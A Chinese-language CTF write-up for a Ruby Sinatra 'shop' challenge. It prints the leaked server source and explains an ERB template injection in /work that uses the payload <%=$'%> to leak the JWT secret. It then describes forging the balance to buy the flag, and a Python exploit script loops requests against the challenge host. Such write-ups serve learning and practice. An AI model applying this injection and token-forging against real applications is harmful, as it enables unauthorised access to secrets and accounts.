第一次遇见Ruby我去,以为是思路题~~~
首先页面是一个shop类的题
buy flag是购买flag,但是要求你的钱要到1e+27才行,work可以加钱,reset重置。审查页面元素没什么思路,发现robots.txt。
提示了/filebak
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
Ruby ERB模板注入可以稍微学习下。
本来没什么思路的看大佬blog,Cookie是JWT的,之前做项目本来要用的,后来偷懒没用。。
发现:
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
这一段存在注入,如果传入的do参数和name参数一致,会输出{params[:name][0,7]} working successfully!
,ruby里有预定义变量
$'-最后一次成功匹配右边的字符串。
构造do=<%=$'%> is working
和name=<%=$'%>
,记得把里面内容转成十六进制
拿到secret
将jkl改成1e+27,反正凑成能买flag的钱就行。然后换上去购买。
我自己脚本写错了,我学长帮我写了个
import requests
i=0
hea="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJkYTQxMTQwNy1mOTU4LTRmOTktOWU0Mi1iZTVlZmRhNTc2ZjIiLCJqa2wiOjIwfQ.YPg24ZW9BpT18ozBDCFjNDg0rirbCRT6USl3zzguZA8"
while(i<=1000000000000000000000000001):
url = "http://9d28a02d-1d7b-412c-9fe8-cb414a4ff97a.node3.buuoj.cn/work?name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working&SECRET="
sess = requests.session()
sess.headers['Cookie']=hea
res = sess.get(url)
hea=res.headers['set-cookie']
print(res.text)
sess.headers['Cookie'] = hea
url1="http://9d28a02d-1d7b-412c-9fe8-cb414a4ff97a.node3.buuoj.cn/api/info"
re=sess.get(url1)
a1=re.text.split(':')[2][:-1]
i=int(a1)
print(a1)
print(hea)
感谢下晓黑老哥